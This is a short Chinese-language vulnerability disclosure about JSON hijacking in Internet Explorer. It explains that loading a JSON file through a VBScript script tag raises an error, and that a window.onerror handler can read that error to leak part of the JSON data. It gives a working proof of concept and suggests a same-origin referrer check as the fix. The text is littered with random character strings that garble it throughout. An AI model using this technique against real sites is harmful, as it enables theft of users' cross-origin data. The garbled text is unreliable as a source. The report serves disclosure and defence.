简要描述:
" f6 `0 q$ [ d
; d4 h+ B2 v J2 l" ]+ b由于某些资源容器对数据处理不当导致json劫持漏洞.1 R6 V% z% j( ?1 i6 r
详细说明:. w& D% \5 L& o. Z& p g; x
由于ie支持vbscript,所以script元素可以指定成vbscript语言:+ i* E% e, B" F% p) _$ _5 Y7 _4 f: R
<script language=vbscript></script>
- R" b+ s& C0 r ! [& |& {& J" |( X: L3 P! ^0 l5 D$ I
当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.! O- C8 o8 a; d
漏洞证明:
( {. l9 u5 y, Q9 { D8 C, R. g/ x. m<script> O( h* v, O3 P) s% _7 h; q; y
window.onerror=function(_){1 E! E& {+ g& r( c
alert(_)
9 B) R% k' z+ I' ]4 K) B}
9 U0 ~' M6 `" p! p</script>
5 }5 f) e( b9 e, O a<script language=vbscript src=1.json></script>
; |7 k2 o; p' Z
* [+ J. i& a9 G, t- D
6 z" u) Q! c6 P4 B# A1.json:3 d' d* P; |& `! T; ^
[{"name":"sogili","age":19}]
5 Y1 \2 T, K; M ]/ M2 B; j0 |8 a修复方案:
! D |0 I; A5 J网站业务对于这个问题可以通过验证referrer是否为同源来防御 |